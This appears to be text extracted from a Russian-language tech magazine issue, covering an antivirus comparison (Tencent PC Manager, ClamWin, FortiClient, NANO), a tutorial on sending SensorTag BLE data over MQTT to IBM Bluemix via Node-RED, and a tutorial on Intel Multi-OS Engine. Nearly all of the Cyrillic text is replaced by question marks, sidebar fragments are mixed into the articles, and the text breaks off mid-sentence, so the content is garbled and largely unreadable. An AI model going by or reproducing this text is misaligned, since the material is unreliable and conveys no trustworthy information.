?а????? ????????????? Tencent PC Manager ?а?????? ????? ??????? ????????? ??????????? ?????-??????. ?? ?????? ????? ?? ????????? ?а????????
????????????? ??????, ??????????????? ??????? ?а??? ?????????? ???????????? ??????. ?а??????? ????? ?????????? ?????? ????? ??? ???????
?а????????, ?????? ??? ????????? ???? ???????? ????????. ?а????? ????? ????? Hupigon ????? ?????????? ?а???????. ?????? ??а??????? (????? 6 ?а7)
??а?????????. ?????????? JAR-???? ???? ?????????? ????????????????
???а?а?????? ????, ??? ?а?????? ZIP-??????. ????????????? APK-???? Tencent
???????? ??????? ??????.
?????????????? ????????? ?????? ?а???????? ??????? ??????? ???????? ????????. ?а???? Tencent PC
Manager ???? ????????????? ????????? ??? ?а???? ??????? ??а??????, ???а??? ??? ???????????? ??а???????
????? ?????????? ????? ?????.
????? ?????????: 0/10 ?????? ?а???????? ?????DANGER
?? (RTP) ?а??????????? ??а?????????; 3/10 ???аRTP
???? Clean MX ?????
?а??????????? ?????? ?а6/10 ???а???????????? ???????????? ??????
???.
??а??????????????
??? ?????!
?а????? ???? ?????? ? ????? ???? ??????????? ??????????? ????????????????? ?а????? ??????????? ??????????? ??????? ?а???? ??????? ???????????? ???????.
???? ?????? ????????, ?? ?? ???? ??????????. ClamWin,
FortiClient ?аNANO ?????????? ??? ??а???????а? ?? ?????????? ???????? ????????. Tencent PC Manager ?????????? ???????, ??а?а????? ?? ????? ???? ???а???????
?????????: ??????? ??????? ??????, ????????? ?а?????????? ??а????????? ????????? ???. ??????????? ?????????????? ????? ??? ??????? ??????????? ?????
???????????? ??? ?????? ????????.
???-?????,
????????????????
????? ???????????
??????????? ????????.
???????? ??? ?????
??а????????????
??а????? ???????????
???? ??а??????
?????????.
?????????????
????????? ??аVirusTotal
??? ??а???????????
????????????
???????????? ????? ???
?????.
??????
ClamWin Free Antivirus ?аClam Sentinel ????????? ?????????? ???????, ??а??а????? ????. ??? ?????????? ?????? ???аWindows ????? ????, ??а????????????
???????? ?????????? ???????, ?а????? ?????????? ?????????? ??????????
???а??аAndroid. ???????????? Clam Sentinel ???а?????? ?а???????? ???????
???? ?? ?????. ???? ClamWin ????? ????????? ?а???????? ???????????????
????????????? ???????, ?????????? ?а???? ????????-??????????.
FortiClient ???????? ??а????????? ???????????, ??а?????????????????
?а????? ?????????????? ???????????? ????????. ?? ?????????? ?????? ?????? ?????, ??????? л????????????╗ ???аWindows. ????? ?? ????????? ??????
??а??????? ?а?????? ?????? ???? ?????, ????????????? ???? ???. ??????
???а????????? ?????????? ????? ???? ?????? ??????????, ??? ???а?????????????? ??????? ?????? FortiClient ??а?????.
NANO ????????? ?????????? ??????????? ??????? ??????? ?а?????? ???????? ???? ?? ??????????. ???????? ?????????, ??????? ?????????, ????????????? ?????????,
??а???? ??? ?????? ??????????? ????, ???????????????
????????????? ????? ?а?????? ?????????? ?????? ??а???????.
WWW
Tencent PC Manager ???????? ????????? ???????????
?а?????? ?????? ????? ?????????. ?а?????????? ??а?????????????
????? ?? ?????? ????? ??а???????????????? ????????ClamWin
?? ????????????? Windows 10 ????? ??????? Edge. ?????????? Clam
?? ???а?????? ???????? ?? ??? ?? ???????????? ?? ?????
Sentinel
?а???? ??????? ????????. ?????????????? ????????? ?????????? ???????????? ??? ?????? ??????? л????!╗ ?а??????????? ?????????? FortiClient
????, ??а?а????? ?а???? ?????????? ?????? ????. ?????????
??? ???????? ???????? ????, ??а???????? ??? ??? ?? ?????
Tencent PC
Manager
???????????????? ?????? ?????? ??????????? ???????.
??а???????????????? ??????? ??????????? ? ?? ??а??NANO ?????????
?????????? ???????????? ??а????, ???? ?????? ????
??а??????? ???????? ????? ????????. ???????????? ????? ????????? ?а??????????? ?а???? ?????? ?????????.
??? ?????????? ?????????? ?????????? ????? ????????????? л?????????╗ ?????????? ?а??????? ??????. ?????? ??? ????? ????????? ?а??????????, ??а?????????????? ?????????а? ?????? ????????? ?????????. ???а????
?????????? ???????? ???????? ???????? ?а????????? ????????? ??????
????????а? ????????, ?а??????????? ??? ?а????????? ????????.
??????
???? ??????
????????
?????
????? 2
??????????
???????:
?????????
?а???????
??????? ????????
dmitriycor@hotmail.com
?????
?а??????? ?????? (??????????
?????)
??
??????? ???? ??а????????
?а???????????? ?а?????????????? BLE (Bluetooth Low
Energy, Bluetooth Smart). ??
??????? SensorTag 2 ??аTexas
Instruments ?а????????????
?а???????????????? ?а????????? BLE. ?????? ?? ?а??,
???а????? ????????? ?а?????????? ?????? ????? BLE
??аAndroid ?а??????. ??????? ?????????? SensorTag???
?????? ??а?????????? ?????
?????? ????? ???????? c ????????? ???????? ????????.
??? ???????, ??????? ?????
Internet ?а???????????? IoT.
IoT ?а?????????????? ??????
?????????????? IoT
???? ????????
1. ??????? ?? ????????? ?????? ??аBLE-?????????? (SensorTag 2) ??а???????.
2. ????? ?? ?????? ???????? ?????? ?а?????? ???????????? ?а??????.
3. ?а???????, ??????? ???????? ???-??????, ???а???? ????? ????? ???? ??????? ??а???????????? ?????? SensorTag ?а????? ??????????????????? ????? ????. ?а????? ?а??? ?????? ?????????? ???????, ?????????????? ??а???. 1.
???. 1. ??????????? ???????
????? ??????????
?а??? ??? ???? ?????????? ??аSensorTag 2 ??????, ?а?а??????????
SensorTagApp ??а???????????? ?? ????? ????????? ??????? ????? ????????????? (???????????, ?????????, ???????? ?а??????). ?????? ????? ????????? ?????? ?а??????, ?????? ??????? ????????????? Push to Cloud ??а??????
?????? ??????????. ?? ????? ??????? ??а???? ?????? ??? ?????? ??а?????? Open in browser ?а??????????. ????? ????? ??? ????????? ??а????-????????? ??аIBM, ??а??????? ????? ????? ?????? MAC-????? (?????? ?а??????????
?а???? Device ID). ?????? ???????? ?????? Go ??а????? SensorTag ?а?а???????? ????????? ????????? ???????? ??? ?а?????????, ?а???????? ???????а?
??????, ???? ??а?а?????. ??а??????????а? ??ал??????╗ ?????? ?? ???????
???? ???????, ?????? ????? ???, ???а????????? ??????, ??? ???? ?????? ????
????: ??? ?????? ?????????? ?????? ?????? ??????????, ????? ?? ?????????? ?а???????? ??????, ??????????? ??а??????? ??аBLE.
???а????? ?? ?????????? ???????? MQTT ?а?????? ???????? ?????? JSON.
???. 2. ?????????? SensorTagApp
???. 3. MAC-????? (Device ID) SensorTag
???????? MQTT
MQTT (Message Queue Telemetry Transport)а? ?????????? ???????? ????????
?????? ???а?????? ??????????? ????? ????????????. ???? ???????? ???????? ?????? ????? TCP/IP ?а?????????? ???а??????????? ???????, ?????????
?а???????????? ?????? ????????? ????? ????????, ????????????????, ????????, ?????????, ?????????. ?а????????? ????? MQTTа? ???????? ???????????????? ???????? ???а??????????? IoT-??????????????.
???. 4. ???????? ????????? MQTT
MQTT ??????? ??а???????? ????????/????????? (publisher/subscriber): ???????? (?????????? ???? publishers) ?????????? ?????????, ??????? ???????????
?а???????????????? ??????? (??????? ?????????), ?а????????? (??????????
???? subscriber) ???????? ????????? ??а???????. ???а????????????? ???????
MQTT ?????????? ?????? ????????? ???????? ??а???????????? ???? ??????????? ?????????.
????????? ????????? ???????, ????????? ?а??????
??????????? ???????? ??????????, ????????? ???????????????? ?????
???аMQTTа? ??? ????
????? ????????? ???? ???????? ???а??????? ?????????
1883 ?а???? 8883
?????. ???????????? ??????????, ??? ???????? ?????????аMQTT ????? SSL.
?? ??????????????? ?????????? ????????? ??а???????
?????????
??????????, ????????? ???? ?????? ??????? ????????????а?????????
??? ??????? ????????? ?а????????????? ?????????? ????????? ??????
???????? ?а??????? ??????? ?????????. ?а????? ?а????
??а???????????
?? ????? ???????????? ???????? MQTT ???а??????????????????? MQTT
????? ??????? ?????? ?а?????? ????? ?????????????
?а?????????????? ?????????? ???????? ?????????.
?????? JSON
JSON (JavaScript Object Notation)а? ????????? ?????? ?????? ???????, ?????????? ??аJavaScript ?а?????? ???????????? ?????? ?а???? ??????. ???а?а?????? ?????? ????????? ???????, JSON ????? ???????? ??????. ???????? ??а????????????? ??аJavaScript (??????, ??а???????????? ????? ????????? ECMA-262
1999 ????), ?????? ????????? ??????????? ??а????? ?а????? ??????????????
??????????? ?а????? ?????? ????????????????. ???а?????? ?????? ?????????? ??????? ??? ???а???????? ?а????????? ?????? ?а??????? JSON.
JSON-????? ???????????? ????? (? ?????????????? ????) ???? ??а????
????????:
1. ????? ??? ????а? ????????. ?а????????? ?????? ??? ??????????? ???а??????, ??????, ?????????, ???????, ???-???????, ?????? ?а?????? ??? ????????????? ??????. ?????? ????? ???? ?????? ?????? (?????????????????: ?????
?а??????? ?а?????? ????????? ????????? ???????), ?????????а? ????? ?????.
2. ????????????? ????? ????????. ?? ?????? ?????? ??? ??????????? ???а??????, ??????, ?????? ??? ??????????????????. ??? ?????????????
????????? ??????: ???а???????, ????? ??????????? ???? ????????????????
???????????? ?? ?а??? ??? ???? ?????. ??? ????? ?а?????? JSON, ??? ???а??
???????????? ???а?????? ??????? ????? ?????????? ??????? ????????????????.
??? ??????, ?????????? ??аSensorTag ?а??????? JSON, ??????? ?? ????????
?а??????:
ANDROID-??????
???????? ???????????????? ??????????? ????????? MQTT ???????? ?????????? Paho MQTT. ?????????? ??????????? ???а???????? ?????????? ??????
????????????????: C/C++, Java, JavaScript, Python, Lua, Go, C#. ?? ?? ?а?????????? ?а??????????.
?а????? ?????????? ?а??????? IBMIoTCloudProfile ?аIBMIoTCloudTableRow
?????????? ???????????????? ???а????? ?а???????. ????????? ?? ??а??? ???????:
???????? ??????? ?а??????? ??????? ???? ??а????, ?а?? ?????? ??????? ?????????? ?????????? MQTT-??????? ?а???? ??????????.
??а??????? ??????
???/gateway-?????????? (???????????) ????????? ?????? MQTT ?а????????
?? ?а?????? ???а???????? ?а?????????. ??????? ??а?????? ??? ????? ????????
??????? ???а?????????? ???????????? ??? ???а????.
????? ?????? ???? ???????? ???? ???-??????, ????? ????????? ?а?????????? ????????? ????? ????????. ???а????? ?? ????? ???????????? ????????
????????? ??аIBMа? Bluemix, ??а????? ????? ?аAzure ??аMicrosoft, ??? AWS
??аAmazon, ??? Heroku ??... Heroku?! :) ?а?????а? ??? ???? ?????.
???????? ????????? IBM Bluemix ????? ??? ???а?????????? ???????? ????????, ????????????? ????????? ?а???????????? ??????, ??????????
??аSensorTag ?а??????????? ????? ???????????.
I?M BLUE!
Bluemixа? ??? ???????? ???????? ??????????? ???? PaaS (Platform as a
Service) ??а???? ??????? ?а???????? ???????? ????? Cloud Foundry. ??? ????????? ????????????? ???а?????????? ?а???????? ??????????, ????? ??? ???????? ?????????? ???????????????. ??? ????????? ?????? ????????? ?а???????????? ?????????? ?а????????? ???.
??????????? Bluemix
? ??????? ?а???????????? ??????????? ?????????? ??а????????;
? ??????????? ???????? ????????? ?а?????????? ?а??????????? ?????????? ???????????;
? ????????? ???????????????????????? ??????? ???????????????? ?а???????? ???а?????????? ??????? ????????;
? ??????????? ??????? ??????? ????????????? ?а??????? ?а??????????;
? ??????????? ?а?????????? ????????? ?а??????? ????????.
????????? Bluemix ????????? ????????? ????? ??????????? ??????????????? ?а??????? ??????????? ??????????, ??????????? ????????????? ????????
?????????? ?а?????? ?а?????????? ??? ?а???????? ?????. Bluemix ????? ????
???????????? ?????????????? ???а???????? ????? ?????? ??????????, ??????? ???-??????????, ????????? ??????????, ?????????? ???а?????? ?а???????? ???????, ?????????? ???а???????? ????????? ?а??? ?????. ??? ???????????? ?????????? ??а?????????? ?????? ???????????????? ?а??????
??????????. Java-??????????, ???????? ???????? ????????? ?????? ???а????????? ??????????, ?????????? ??????????, ?????????? ?а???????? ???????? ?????а? ??? ??? ??????????? ???????? ?а?????? ???а???????.
??????? Bluemix ???????? ????? ??? ???????????
???а???????? ?????? ??????: ??????? ?????????? ????????, ??????? ?????????????????? ??????? ????????, ???????? ????, ??????? ?а????????????? ???? ?????????? (?
??? ????? Liberty for Java, Node.js, Ruby on Rails), ???-???????? ?а???????? ?????????? (Data/Session Cache, ElasticMQ,
INFO
Decision, SSO, Log Analysis, Redis, RabbitMQ, Twilio), ????????? ???????? (? ??? ????? push-???????????, Cloud Code,
?????? IBM Bluemix
Mobile Application Management, Mobile Quality Assurance),
????? ???????????
?а?????? ????????
???????? ?????????? ??????? (? ??? ????? MongoDB, ????????????,
????????? ???? ?????? ??аIBM, JSON ???? ?????? ??аIBM,
???????? Heroku ???
MySQL, PostgreSQL, MobileData, MobileSync, BLU Data
Azure.
Warehouse, MapReduce), ???????? ??????????? ?а???????
???????? DevOps Services (??????? ???????? JazzHub).
??????? ???????? ????????? Bluemix
?а???????????? Bluemix ?????????? (application)а? ??? ????????? ???? ????
??????????? ??? (???????? ??? ??? ??????????? ???????? ?????), ???????
?????????? ????????? ??? ??а??????? ????? ????????? ?а???????? ??????????. ????????? ?????????? ??????????? ??а????????? ????? Bluemix ?а?????????? ???????, ?????????????? ????????????. ?а?????? ???-??????????
??????????а? ??? ???, ??????????? ??а????????? Bluemix ?а????? ????????.
????? ????, ????????? ???????? ???????????? ??????? ???????????? ????
??????????, ??????? ?? ????? ????????? ??а?????????? ??????? ?а?????
??а???? ??????????.
?????? (service)а? ??? ???, ?????????? ??а????????? Bluemix ?а???????????? ???????????? ????????????????, ??????? ????? ???????????? ??????????. ??? ????? ???? ??????? ??????, ???????????? ???????????????,
???????? push-??????????? ???а????????? ?????????? ??? ?????????? ??????????? ???а???-??????????. ?? ????? ????? ????????? ??????????? ??????? ?а????????? ??а??????? ????????? ??????? ??а??????? ??????-??????.
??????????? (organization) ?а???????????? (space)а? ??? ???????????????
??????? ??????????????, ????????? ??????? ?а??????????? ??????? ??????????. ??????????? ???????? ?????? (domain), ???????????? ?а?????????????, ????????????а? ?????????? ?а???????. ??
????????? ???????????? ??? ????????????: Development (??????????),
Production (????????????) ?аStaging (??????????). ???а??????????, ???????
????????? ????? ???? PaaS, ??????????????? buildpack-??????а? ??????
???????? ???а?????????? ???? ?а?????????? ??а??????? PaaS-?????????.
Buildpack-??????, ??????? ???????? ??????????? ????? ???????????
????? ?????????? ?а????? ????? ????????? ?????????????????? ??????????????, ???????? ????????????? ?????????? ?а?????? ??а????????? ?а??????????????? ?????????? ?а????????????????? ????? ??????????.
????????????? ???????? ?аBluemix ???????? ??? ?????:
1. ???????? ????????? Bluemix, ??? ??? ????????? ????? ????????? ???????, ?а?????????, ????? ?????????? ?????????? ????? ???????????? ???? ????? ?????????.
2. Bluemix ????????????? ?????????????? ????? ????????? ????? ???????
?а????????? ??? ?а???????????.
3. ?????????? ??????????????? ?а????????.
?????? ???????? (Service bundles)а? ??? ????????? API ???????????, ???????????? ?а?????????? ????????. ????????, ????? Mobile Services ???????? ??????? MobileData, Cloud Code, Push ?аMobile Application Management. ????????? ??????? ?а????? ?????????? ???????????? ?а???????? Bluemix. ?????
????, ?? ????? ???????????????? ?а??????????? ???????.
???. 5.
Bluemix
????? ????? ?а????? ??????????
IBM Bluemix ???????????? ????????? ???????? ?а?????? ????????????????
????????? ?????. ?? ?? ??????? Node-RED. ?????? ?????????? ?аNodeRED ????? ?????? ??а?????. ? ?????? ??? ??-?? ???????? ?а??????????? ????????? (?????????? LabView). ?а???? ??????? ??????????? ????????? ????????????????, ????????? ??а?????? JS, ??????? ??????? ????? ?????
???????? JSON-?????. ??????????, ?? ?????? ???????????? ?а?????-??????
Node.js :).
?????? ??аMQTT-?????? ????????? ?а?????? ?а??????? ??????? IoT
Foundation. ??????????? ?????? ???????? ?????????? Node-RED, ???????
????????? ?????????????? ??? ?а??????? ??????? ?????????? ???????. ????????? ??????????? ?????????????? ?????? (?????) ???????????? ?????
JavaScript-??????????, ????????? ???? ?а?????? ???????? ??????.
????????? ??????
????? ?????? ?????? ?аBluemix, ?????:
1. ????? ??а????.
2. ?????????????????? ?а??????? ??????? ?????? (?????? Sign Up ??? Log in, ???? ??? ???? ??????? ??????).
???? ??а???????? ??????????? ???????? ???????
??????????????.
WWW
3. ???а??????????? ????????? ??? ?????? ???? (???
??????????). ????? ??????????? ??а????????? email
Bluemix ?а?????
??а???????? ????????
?????? ????????? ?а???????????, ?а????? ????? ???????????
???????? ???? ??????? ??????, ??????? ??а??????,
????????? ?а?????????.
????????
4. ????? ??????????? ?? ??????? ?????? ?аBluemix
MQTT-?????????
???а?????????? ?????????? ?а????? ??????????? ?????? ?? ????? ?????????? ?а?????????, ?а????? ??а?????? ??????????????
????? Bluemix. ????????? ?а??а?????.
5. ??а?????? ?????????? ???????????? ?а???????? (??????? Dashboard)
??????? IBM cloud service Internet of Things (??? ??????) ?а??????? ?????
??????.
6. ?????? ?????? Launch (?????? ?а??? ???? ????????? ?????????? ??????,
??а??????? ???? ?????????? ????? ????? ??????).
7. ??аDashboard c?????? ?????????? Node-RED (??????? node-red app), ?????? Start, ??????? ??а??????, ??????? ????? ??? ????????? ?????????????.eu-gb.mybluemix.net, ?а??????? ?а????????? (?????? ??а??????? ???????
?????? Go to your Node-RED flow editor). ???а???????? ????????? ?????????? ????????? ?????. ?а???? ??? ?????? ???? ?????.
8. ?????? ?а??????? ????? ????????? ?????? ?????? л?????????╗
import
clipboard.
9. ??????? ??а?????? ??аGitHub, ??а???????? ????? ????? Steps to import the
Node-RED flow ?а??????????? JSON-?????, ??????? ????????? ?а???? ?а????
??????.
10.??????? ??????? ?а???????? ?????????? Node-RED ?а???????? JSON-?????
?а???? Paste nodes here ?а???? Import nodes, ?????? Ok (????? ???? ????????
????, л????????????╗ ??а?????? ?????, ??????????? ????? ?а?????????).
11.??а??????? ???????????? ????????? ???????? ???? ??????????, ????????? ??а????? (nodes), ?????? ??????? ????? ??????, ????????? JS.
12.???????? ??а????? ????? ???? (TI Sensortag, ??? ???а??? ???? IoT-??????, ??????? ?? ????????? ?????) ?а?????? ?а???? Device Id ??? MAC-?????
SensorTag, ???????? AA:BB:CC:DD:EE:FF ???а?????????.
13.?????????? (?????? ??а?????? Deploy).
???. 6. Node-RED ?????????? ?а????????
??????? ???? ???????? ?????????? ??????????? ?а???????? (????????? ???
????? ??????? Stop ??аDashboard), ?а??????, ???? ?а??? ??????? SensorTag,
??????? ???????? ?????? ??а???????, ?а???? ???????, ??????? ????????
?????? ?а????????, ?? ????? ?????????, ???а?а??? ?а?????????? Node-RED
??а??????? Debug (??????) ???????? ???? ?????? ?а??????? JSON. ?????? ??
????? ????????, ????????, HTML-????????? ?а?????????? ?????????? ?????????? ???????? ?а?????? ?а????????, ???а??????? ?????,
??а????? ????? ??????? ????, ????????? ????? ??????
?????????? ?????????????.eu-gb.mybluemix.net. ???
?? ?????????? ????????? ?????? ?а????? twillio, ???????
????????? ?????????? ???-?????????? (????????, ?а?????????? ???????????) ?а?????????????? Twillio API (???INFO
?? ?????? ?????? ?а???? twillio api-key, ?????????? ???а??????????? ??а?????, ????? ????????, ??а??????? ??????
?????? ?аMQTT
????? ????????????
???а??? ????????? ??????????, ?а??? ????? ????????).
?а?????? ?????????,
????? ??????????? ????????????? ?????? ?а??????? ??????????? protobuf
????, ???????????? ???????? ?????????? ?а???????
(Google) ??? AllJoyn
(AllSeen Alliance).
????? R, ???а??????????? ?????. ??? ??????? ???-?? ????.
?????
??? ?? ?а??????? ???? ????????? ???????? ?????. ???????? ?а?????? ?????????? ??????? ???? ??????????? ????, ??????? ?а??????????, ??????? ?????
????? ?а??????? ??? ??а????? ???. ?????????? ??????? ??а????, ?а?????? ??
?????????? ????????? ??????. ??? ??? ?а2020 ????, ????????, ??а????????? 50
?????????? ????????? ????????? ????? ????????? ????? ?а??????.
??????
MULTI-OS ENGINE
TECHNOLOGY
?????-?????????????
??????????
??аINTEL: ????????
?а??????????
???? лyurembo╗ ????
t2d-dev.ru
????????? Multi-OS Engineа? ?????????? Intel, ??????????????? ???а?????????? ?????-????????????? ?????????
?????????? ???аiOS ?аAndroid ??-??? Windows ??? OS X.
??????? ?аMulti-OS Engine, ?? ?????? ???????????? ????
???? ???? ?????????? ??аJava ???а???????? iOS-?????????? (Android ??????????????? ??а?????????). ??а????,
Multi-OS Engine ???????????? ????? ?????? ???а?????
?????????? Android Studio. ???а???? ???а?????? ??а???????? ??а?????? ?????????? ???????? ??????????, ??????? ???????? ?а??????????????? ?????????????
???а???????????? ???????????? ??????? ???????.
?а?????????? ???? Multi-OS Engine ???? ???????????? ????? ????????
????. ????? ??а??? ??? ?????????? ????????? ?? ?????? ???????????????? ??????????? ??????? ?а???????? ??????????? ??????. ???? ??? ????????? ??????????, ??????? ????? ????? ???????? ??а??? ???? ???????? :).
Multi-OS Engine ?????? ?а????? ???????????? INDE (Integrated Native Developer
Experience), ??????? ??????? ??а???????????? ????????????, ??????????,
??????? ??????????????, ??????? ????????????, ????????? ?а?????? ????,
?????????? ?а?????????? ?????????????????????? ???????? ??????????
???а????? ?????????????? ?????????, ??? ?????????? ????????? ??аIntel.
????????? ????????? Multi-OS Engineа? Xamarin, ?????? ??????????
?аVisual Studio ???аWindows ?а??-???????? ?????????? ?а??????? ???????????????? Xamarin Studio ?аOS X. ?а????? ?????, ????? ???????? Build 2016,
Xamarin ????????, ??? ??????? ??? ??????????? ??а????? ?????????? ???????????? ??а?????????? ??????????, ?а??? ????? ??а?? ??????. ??? ????? ???????? ??????????????? ?аVisual Studio (????? ??????) ????????????. ??????????? ??а?????. ???????? ??а?? ??? Xamarin ????? ??????? ????????
?????????? ???аiOS ?аAndroid, ?????????? ?? ???а???? C#. ??а?а????? ????????????? ?????? ??? ???? ??а????????, ??????? ??а?????? ?????? ??? ?????????????? ???????????? ??????? ???????? ????? ?а????? ??????????.
Multi-OS Engine ????????? ????????? ??а????????????? Obj-C ???а?????????? ?????????? ???аiOS. ??? ??????????? ????? ????????? ??????????
Java-???? ??а?????? ?????????? Obj-C ?аC. ????? ????, Multi-OS Engine ???????????? ????????????? Java-?????????, ?а????? Java-???? ?а???????? ??????????? ?????????? NatJ ????????? ??а????????????? ??????? JNI. ???????? ????????? ???????? ?????????????? jar-????? ???а??????????????
?аiOS API. ??? ????? ?? ????????? ????????? ?????????.
?????????????? ????? ??????????
????????? ?аWindows ??? iOS-??????????, ? ???? ????????? ??????????? ???????????? ?а????? OS X. ?????? ???? ???? ?а???? ??? ?????????, ????????
?а??аWindows ????? ?????? ??. ????? ????, ????? ????????? ??????????
???аiOS ??аWindows, ????? ??????????????? ???????? ????????а? ??????
??а???? ??а??????, ?а? ???? ??????? ?а?????? ????????????.
?а?????? ??????? ???? ??????????? Android Studio. ?????? Multi-OS Engine
?????????????? ???????? ??????? ?а1.2, ??а?? ????????????? ?????????
????????? ?а???????. ??а?????? ????????? ?????? ??? ???? 2.1.1. ????, ????????? ??а???? Android Studio ?а?????? ????????? ?????? ??????. ??????
??? ?????????? ?а?????????, ??????? ?????? Java SDK, ????????????? ??а????? ???? (javac -version ?а?????????), ?, ???? ??? ???? 1.8, ??????. ?????
??????? ??????? ??а?????? dmg ??????? ?????????. ?а??????????? ???? ???????? Android Studio ?а????? Application.
????? ??????? Android Studio ???? ????? ?????????? ???????? ???????????
????????? ??????: ?????????? ?а????????? ???????????? SDK, Android-???????? ?а???????????? ??????????. ?а?????, ??? ??????.
???????? ?а????????? ??????????????? ???????. ??? ????? ???????
??а????????. ??а??? ????? ?????? Get Multi-OS Engine, ??????? ?????, ?????? ???????? email, ???, ???????а? ??а???????, ????? Submit, ??а????????? ???????? ?????? ???? ??????? ???????????? ??????? ?а??? Download
Now. ?а???? ?????? ???????????? ??????? OS X, ?????????????, ???????????? ????? ???а??? ? ?а?????. ?а????????? ??????? ????? ??? ?????? ???????????????????: ??????? ?????? ??а????? m_multi_os_engine-1.0.648 ????????? ???????????? ????, ?????? ???????? Multi-OS Engine Installer
1.0.648. ?????????? ???????????, ??а?????? ???????? ???????? ???? ??????
?????? ??????????????, ????? ????? ???? ???????????, ???? ???а??????? ????? ?а????????????: JDK, Android SDK, Android Studio, ????? ????????????? ?, ???????, ?????????. ????? ????? ????? ????????? ?????? ?а???????????? ?????????? ???????.
?????????? ???????? ?????-?????????????? ??????????
Android-??????
??????? ??????????? ?????-????????????? ??????????, ????? ????????????? ???????? ?????? ?аMulti-OS Engine. ??а????, ?????-????????????? ?????????? ???аiOS ?аAndroid ??????? ??а?????????????????? ???????
???а?????????? ???????????? ??????? ?а?????? ????, ????? ???????? ?????
?????????? 60%. ????????? 40% ?????????? ??а???????????????? ?????????,
??????? ??а??????????? ?????????? ???а?????? ???????????? ???????.
????? ???? ??????????? ?????????? ????? ????? ?????? ??аJava, ??????? ???????????? ?а???? ??????? ???????? Multi-OS Engine ??аAndroid ?а??аiOS.
?????? ????? Android-?????? ?аAndroid Studio. ?а??????? ??а?????? ????
?????? ?????????? ?????? SDK. ???а???????????? ??а???????? ??????? ?
?????? API 19: Android 4.4 (KitKat), ????????? Android-????????? ??аOS X ???????? ?????? ????????. ?а??а???????? ?????? ??????????? ?????????? ?????
Empty Activity.
?????? ???????? ?а???????? ?????? ????? ????????????????. ?а??????? ???????????? ???? (?? iOS-??????) New
Module ?????? ???? Create
New Module, ??? ?????? ??????????? Java Library. ??а????????? ???? ?????
??? ?????????? ?аJava-??????, ?а???? ?????? ??? ?ommon ?аcommonLogic. ????? ???????? ??????????????? ?????? ??????? ??????? Gradle ??????????????????. ?????? ???? ???????? ????????????????, ??????? ????? ?????????
??????? ????? ???????????, ?? ???? ????? ????????????????. ???а??????? ????? ?????????? ??????. ?????? ???? ?а????? (? ???? ??????: common
java com.example commonLogic). ??? ??????? ????? commonLogic, ??????
?а???? ????????? ???:
??? ????? ??????, ????????? ??????????, ?а???????????? ??????????????
??, ?а?????? getLine ?????????? ?? ????????.
?????? ? Android-?????????? ?????? ??????? ??????, ? ?????????? ????? ?? ??????? ????????? ? ?????? ?????? ???? ? ??????? ?? ???? ?????? ??
????? ???????. ?????? activity_main.xml ?а?????? ?????????. ?а?????????? ????????? ?????? ??????, ??????? ?а???????? ???? MainActivity.java,
?а?????? ?????????????? ??????
?????? ????????: ?а????????? ??????? ???????????? ?????? ?????? ????.
????? ?а?????? ?????? MainActivity ?????? ????????? ???????:
?а????? ?????? onCreate ?????? ????????????? ?????????? ???????????
????????? ?а?????????? ??????? ??????? ??а??????:
?????? ???? ?а????????? ??а????????? ????????? ????? ????????? ??????,
?????????? ??а?????? ?????? ????.
iOS-??????
????? ???????? Android-??????? ???? ???????? Multi-OS Engine ??????
???а?????????? iOS-??????????. ???а????? ??а???????????? ???? ??????
Project ?????? New
Multi-OS Engine Module. ?а??????????? ??????? New
Module ?а????? ?????? ?????? (??? ???????) Multi-OS Engine, ?а?????? (????????? iOS-??????????) Single View Application with Storyboard. ??а?????????
???????? ??????? ???? ???аXcode-???????. ???а?????????????? ??? ????????????????? ?????????? ????? ??????????????? Xcode. ????? ????? ?????????
???? ????? ???а????? ????? ?????? ?а??????? ????, ?а?????????? ????? ??????
iOS-??????.
???????? iOS-??????
????????? ????????? ???? ?????????? ?????? ?????? ???? ???а????? ????????. ?а??????????? ???? ???????? ????? Open Module Settings, ?а??????????? ???? ???? ??????????????? ??????? ?а?????? ????? ??? ???????-??????
(appа? Android-?????? ?аiOS, ??????????????, iOS-??????). ???а???????, ?????????????? ??а??????? Dependencies, ?????? ?????? ?а??????, ???????????
??? ???????, ?а?????????? ???????? ??????????? ??????, ?а??????? ??? ?????
????? Module dependency. ????????? ????? ???? ???а?????? ??????. ?а?????
??????? ???? ??????? ??????? common. ????? ????, ???а?????? common ????
???????, ????? ??????? Java-??????????? ?? ????? ???????????. ???а????? ?????? ??? Gradle-?????? (Gradle Scripts > build.gradle (Module: common)) ?а?????? ?а???? (????? ????? ????? dependencies) ????????? ??????:
Gradle ????????? ?????????????.
?????? ?????? ?????????????? Android-??????????; ?????? ??? ???? ???????, ???? ????????????? ????????????? ???? ??а?????? ??????.
?а??? ?????? ??? ????????? ?????? :). ??, ??? ???????? ?а????????????,
??а??????????? ?а???????? ?????????? ???. ??? ?, ??? ?????? ???????, ?????? ??????? ??а?????????. ????????, ?а??? ??а?????? ?????? ??? ??????????? ????????? UI Builder (?????????? ?аAndroid Studio ???????????) ???а?????????? ????????????????? ??????????. ?а???? ?а???????? iOS
build
Xcode
????????? ???? iOS.xcodeproj, ??????? ????? ??????? ?а??????? Xcode,
?????? ??а????? ????. ????? ??? ?а??? ???? ??????????? ????????????? ?????????а? ?????????? ?????? ????????, ?????? ?????? ??а??????? ??а???????????? ??????, ??а?????? ?????????? ??????????? ????.
???? ?а??? ???? ??????????? ?????????????? iOS-?????????? ?????
??аAndroid Studio. ?а?????????? ?????? ??а?????? ????? ????? ??????? ??????????? ??????????. ????? ????, ????? ????????? ???????????? ??????????/?????????: ??????? ?????? ??, ???? ?а??????. ??????, ????????
iOS-???????? ??аAndroid Studio, ???? ????? ????? ????????? ?????, ???? ?? ??????????: ?? ???????? ??????? ?????????, ??? ??-??? Xcode.
???????? ??????
??????? ????????: ?????????? ?????? ?? ?????????????? ???????????, ??????? ??????? ???????? :). ??аAndroid ?аiOS ???, ??-??????, ????? ??? ???а?????????? ?а???????? ?????? ?а????????? ?????????. ????? ????, ???а??аAndroid,
??? ?а??аiOS ????????? ???????? ?????????? ???? ?????? SQLite, ???а????
???а??????? ?а??? ??????????? ???? ?а??? ?? ??? ??аJava, ??????? ?а????? ??????? ??а?????? ?????? ?????????? ??????? ??аJava SDK. ????? ??? ???а?????????? ????????????????? ?????????? ??????????? ??????????????????
???, ???а?? ??? ?????? ????.
??????? OPENGL
?????? ?а????????? ???? ?а????????????. ??????? ?????????? ?????????????????? ?????. ???а????????????? OpenGL ?аiOS-??????????? ???????????? ????????? ??аApple GLKit. ?? ???????? ???????? ?????????? ??а????????
??????????? ??????????. ?????????? ????????? ?????? ??????? ?а??????????????? ??? ????????????????.
GLKViewController ????????? ???????????????? ???????????, ???? ?????
